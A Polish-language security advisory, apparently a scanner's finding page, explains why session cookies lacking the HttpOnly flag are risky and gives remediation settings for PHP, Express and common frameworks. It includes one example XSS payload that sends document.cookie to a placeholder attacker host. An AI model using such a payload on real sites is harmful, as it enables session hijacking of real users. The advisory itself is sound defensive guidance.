Cookie sesyjne nie ma flagi HttpOnly
Co to jest
Cookie ustawione bez flagi HttpOnly jest odczytywalne z JavaScriptu przez document.cookie. Atakujący, któremu uda się umieścić na stronie dowolny kawałek JS (XSS), odczyta je wtedy i wyśle do siebie.
Dlaczego to problem
Bez HttpOnly atakującemu wystarczy jeden mały XSS (pole komentarza, bio profilu, zapytanie wyszukiwania) i ma gotowe — kradnie cookie sesyjne i loguje się jako Ty. Oto typowy payload:
<script>
fetch('https://attacker.example/' + btoa(document.cookie))
</script>Z HttpOnly document.cookie jest pusty, a atak zawodzi. XSS sam w sobie wciąż jest problemem, ale przynajmniej sesja pozostaje bezpieczna.
Jak to naprawić
HttpOnly to flaga — ustawiasz ją przy tworzeniu cookie. Niemal wszystkie frameworki mają ją domyślnie, czasem ktoś tylko jawnie ją wyłącza.
PHP
# php.ini
session.cookie_httponly = 1
# lub bezpośrednio w kodzie
setcookie('name', $value, [
'httponly' => true,
'secure' => true,
'samesite' => 'Lax',
]);Node.js (express)
res.cookie('session', token, {
httpOnly: true,
secure: true,
sameSite: 'lax',
});Laravel / Django / Rails
HttpOnly jest domyślnie włączone we wszystkich nowoczesnych middleware sesji. Jeśli Twój wynik pokazuje cookie bez niej, ktoś wyłączył to w konfiguracji. Przywróć ustawienie domyślne.
Co nie może mieć HttpOnly
Cookies, które celowo czyta JavaScript — typowo token CSRF (np. Laravelowy XSRF-TOKEN). To jest w porządku, ponieważ atakujący z XSS już tokenu CSRF nie potrzebuje.
Cookie zawierające identyfikator sesji lub token uwierzytelniający musi jednak zawsze mieć HttpOnly.
Weryfikacja
DevTools → Application → Cookies → kolumna HttpOnly. Dla cookies sesyjnych/uwierzytelniających musi być true.